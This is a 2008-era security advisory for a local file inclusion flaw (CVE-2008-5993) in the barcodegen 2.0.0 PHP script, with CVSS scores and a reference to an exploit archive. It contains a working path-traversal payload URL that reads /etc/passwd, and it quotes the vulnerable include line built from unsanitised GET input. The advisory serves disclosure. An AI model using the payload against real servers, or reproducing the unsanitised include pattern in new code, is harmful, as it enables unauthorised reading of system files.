barcodegen <= 2.0.0 Local File Inclusion Vulnerability

2009.01.31

Credit: dun

Risk: High

Local: No

Remote: Yes

CVE: CVE-2008-5993

CWE: CWE-22

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

 :::::::-. ... ::::::. :::.
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[ Discovered by dun \ dun[at]strcpy.pl ]
###################################################################
# [ barcodegen <= 2.0.0 ] Local File Inclusion Vulnerability #
###################################################################
#
# Script: "Barcode Generator 1D"
#
# Script site: http://www.barcodephp.com/
# Download: http://www.barcodephp.com/download.php
#
# Vuln:
# http://site.com/[barcodegen.1d-v2.0.0]/html/image.php?t=1&r=1&text=1&f1=1&f2=1&o=1&a1=1&a2=1&code=/../../../../../../../etc/passwd%00
#
#
# Bug: ./barcodegen.1d-v2.0.0/html/image.php (lines: 2-8)
#
# ...
# if(isset($_GET['code']) && isset($_GET['t']) && isset($_GET['r']) && isset($_GET['text']) && isset($_GET['f1'])
# && isset($_GET['f2']) && isset($_GET['o']) && isset($_GET['a1']) && isset($_GET['a2'])) {
# require('config.php');
# require($class_dir.'/BCGColor.php');
# require($class_dir.'/BCGBarcode.php');
# require($class_dir.'/BCGDrawing.php');
# require($class_dir.'/BCGFont.php');
# if(include($class_dir . '/BCG' . $_GET['code'] . '.barcode.php')) { // LFI
# ...
#
#
###############################################
# Greetz: D3m0n_DE * str0ke * and otherz..
###############################################
[ dun / 2008 ]
*******************************************************************************************

References:

http://www.milw0rm.com/exploits/6558

See this note in RAW Version

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barcodegen <= 2.0.0 Local File Inclusion Vulnerability

References:

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